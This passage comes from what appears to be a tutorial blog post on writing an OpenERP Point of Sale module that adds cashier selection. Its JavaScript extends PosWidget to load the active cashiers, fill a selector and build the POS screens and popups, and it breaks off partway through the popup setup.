<code class="javascript_keyword1">if</code>(line)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(line <code class="javascript_operator">!</code><code class="javascript_operator">=</code><code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">if</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline)<code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">.</code><code class="javascript_function">set_selected</code>(<code class="javascript_literal2">false</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> line<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline<code class="javascript_operator">.</code><code class="javascript_function">set_selected</code>(<code class="javascript_literal2">true</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>selected_orderline <code class="javascript_operator">=</code> undefined<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
openerp<code class="javascript_operator">.</code>point_of_sale <code class="javascript_operator">=</code> <code class="javascript_keyword1">function</code>(instance) <code class="javascript_operator">{</code>
instance<code class="javascript_operator">.</code>point_of_sale <code class="javascript_operator">=</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> module <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>point_of_sale<code class="javascript_operator">;</code>
<code class="javascript_function">openerp_pos_db</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">db.js</code>
<code class="javascript_function">openerp_pos_models</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_models.js</code>
<code class="javascript_function">openerp_pos_basewidget</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_basewidget.js</code>
<code class="javascript_function">openerp_pos_keyboard</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_keyboard_widget.js</code>
<code class="javascript_function">openerp_pos_scrollbar</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_scrollbar_widget.js</code>
<code class="javascript_function">openerp_pos_screens</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_screens.js</code>
<code class="javascript_function">openerp_pos_widgets</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_widgets.js</code>
<code class="javascript_function">openerp_pos_devices</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">pos_devices.js</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashiers</code>
<code class="javascript_function">openerp_pos_cashier</code>(instance<code class="javascript_operator">,</code>module)<code class="javascript_operator">;</code> <code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">import</code><code class="javascript_comment2"> </code><code class="javascript_comment2">openerp_pos_cashier</code>
instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>client_actions<code class="javascript_operator">.</code><code class="javascript_function">add</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.ui</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">instance.point_of_sale.PosWidget</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">;</code>
</code></pre>
</div>
There are two main functions in this file.<br /><br /><b><span style="color: red;">openerp_pos_cashier() </span> function</b><br />
It will allow us to add the necessary functions to the module and it will also allow us to modify some original features.<br /><br /><b><span style="color: red;">openerp.point_of_sale() </span> function</b><br />
We will change that for our module is taken into account in the Point Of Sale.<br />
<h3 class="TitreSection2" id="LVIII-A-1">
VIII-A-1. openerp_pos_cashier() function<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
This function is declared as follows:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e17034">
openerp_pos_cashier()function declaration<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e17034" onclick="selectionCode('contenuCoded0e17034');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e17034"> <code class="javascript_keyword1">function</code> <code class="javascript_function">openerp_pos_cashier</code>(instance<code class="javascript_operator">,</code> module)<code class="javascript_operator">{</code>
<code class="javascript_operator">}</code>
</code></pre>
</div>
This function will be called later in the function that creates the Point Of Sale.<br />
<div class="imgtext-info">
I'm not going to be able to explain all, because I'm not an OpenERP Guru. I proceeded by studying the scripts of OpenERP modules magnifying glass to try to deduce how to do it.<br />
In fact, if at any time you find an error or an approximation in my explanations, or even in the code, do not hesitate to contact me to let me know.</div>
Then we will instantiate some objects:<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e17063">
<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e17063" onclick="selectionCode('contenuCoded0e17063');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e17063"> <code class="javascript_keyword1">var</code> module <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>point_of_sale<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> QWeb <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>qweb<code class="javascript_operator">;</code>
_t <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>_t<code class="javascript_operator">;</code>
</code></pre>
</div>
The <b>module</b> will be an instance of the Point Of Sale.<br /><b>QWeb</b> is the template rendering engine. I invite you to read the documentation on the OpenERP website: <img alt="Image non disponible" class="image_verticale" height="12px" src="./images/100000000000000C0000000C111D73E3.jpg" width="12px" /><a class=" tooltip blue-tooltip lienArticle https" href="https://doc.openerp.com/trunk/web/qweb/" target="_blank">Documentation QWebDocummentation QWeb</a><br /><b>_t</b> is an instance of _t (?!??). To be honest, I do not know what it is. When I created the module for the first time, this instance does not exist in OpenERP version I had. It was been added later. It is used for the action of the<b> close</b> button is at the top of the Point Of Sale. As you will see later, we import the close button of Point Of Sale, this instance is required.<br /><br />
We then declare a global variable. We will use it further to store the name of the selected cashier.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e17128">
Global variable<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e17128" onclick="selectionCode('contenuCoded0e17128');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e17128"> globalCashier <code class="javascript_operator">=</code> <code class="javascript_literal2">null</code><code class="javascript_operator">;</code>
</code></pre>
</div>
<div class="imgtext-idea">
For a variable to be <b>global</b>, it is stated without the <b>var</b> keyword.<br />
A local variable is declared like this: <b>var myvar = 'something';</b></div>
</div>
<h3 class="TitreSection2" id="LVIII-A-2">
VIII-A-2. The CashierWidget module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h3>
<div class="BlocSection2">
Now we will override the original <b>PosWidget</b> module.<br />
This is in fact the module that contains the entire Point Of Sale.<br /><br />
We are not really going to « overload » the module, we will include additional functions when possible, with the<b> include()</b> function.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e17172">
module.CashierWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e17172" onclick="selectionCode('contenuCoded0e17172');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e17172">
module<code class="javascript_operator">.</code>CashierWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">PosWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">recuperation</code><code class="javascript_comment2"> </code><code class="javascript_comment2">de</code><code class="javascript_comment2"> </code><code class="javascript_comment2">l'ID</code><code class="javascript_comment2"> </code><code class="javascript_comment2">du</code><code class="javascript_comment2"> </code><code class="javascript_comment2">POS</code>
<code class="javascript_label">get_cur_pos_config_id</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config_id <code class="javascript_operator">=</code> <code class="javascript_literal2">null</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(config)<code class="javascript_operator">{</code>
config_id <code class="javascript_operator">=</code> config<code class="javascript_operator">.</code>id<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> config_id<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">fetch</code>: <code class="javascript_keyword1">function</code>(model<code class="javascript_operator">,</code> fields<code class="javascript_operator">,</code> domain<code class="javascript_operator">,</code> ctx)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_keyword1">new</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code><code class="javascript_function">Model</code>(model)<code class="javascript_operator">.</code><code class="javascript_function">query</code>(fields)<code class="javascript_operator">.</code><code class="javascript_function">filter</code>(domain)<code class="javascript_operator">.</code><code class="javascript_function">context</code>(ctx)<code class="javascript_operator">.</code><code class="javascript_function">all</code>()
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">cashier_change</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
globalCashier <code class="javascript_operator">=</code> name<code class="javascript_operator">;</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#pay-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(name)<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2">console.log('cashier_change</code><code class="javascript_comment2"> </code><code class="javascript_comment2">:</code><code class="javascript_comment2"> </code><code class="javascript_comment2">'</code><code class="javascript_comment2"> </code><code class="javascript_comment2">+</code><code class="javascript_comment2"> </code><code class="javascript_comment2">name);</code>
<code class="javascript_keyword1">if</code>(name <code class="javascript_operator">!</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">removeAttr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_cashiers</code>: <code class="javascript_keyword1">function</code>(config_id)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> cashier_list <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> loaded <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code><code class="javascript_function">fetch</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config_id</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> config_id<code class="javascript_operator">]</code><code class="javascript_operator">,</code> <code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">active</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">true</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">]</code>)
<code class="javascript_operator">.</code><code class="javascript_function">then</code>(<code class="javascript_keyword1">function</code>(cashiers)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashiers<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
cashier_list<code class="javascript_operator">.</code><code class="javascript_function">push</code>(cashiers<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code><code class="javascript_operator">.</code>cashier_name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(cashier_list<code class="javascript_operator">.</code>length <code class="javascript_operator">></code> <code class="javascript_digit">0</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> content <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> new_option <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"><option</code><code class="javascript_literal1"> </code><code class="javascript_literal1">value="</code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">"></code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"></option>\n</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(content <code class="javascript_operator">+</code> new_option)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">none</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>selectedIndex <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">;</code>
globalCashier <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">if</code><code class="javascript_comment2"> </code><code class="javascript_comment2">there</code><code class="javascript_comment2"> </code><code class="javascript_comment2">are</code><code class="javascript_comment2"> </code><code class="javascript_comment2">no</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashier</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">block</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">change</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> name <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>value<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">build_widgets</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screens</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ReceiptScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">WelcomeScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ClientPaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleInviteScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Popups</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HelpPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorSessionPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ChooseReceiptPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
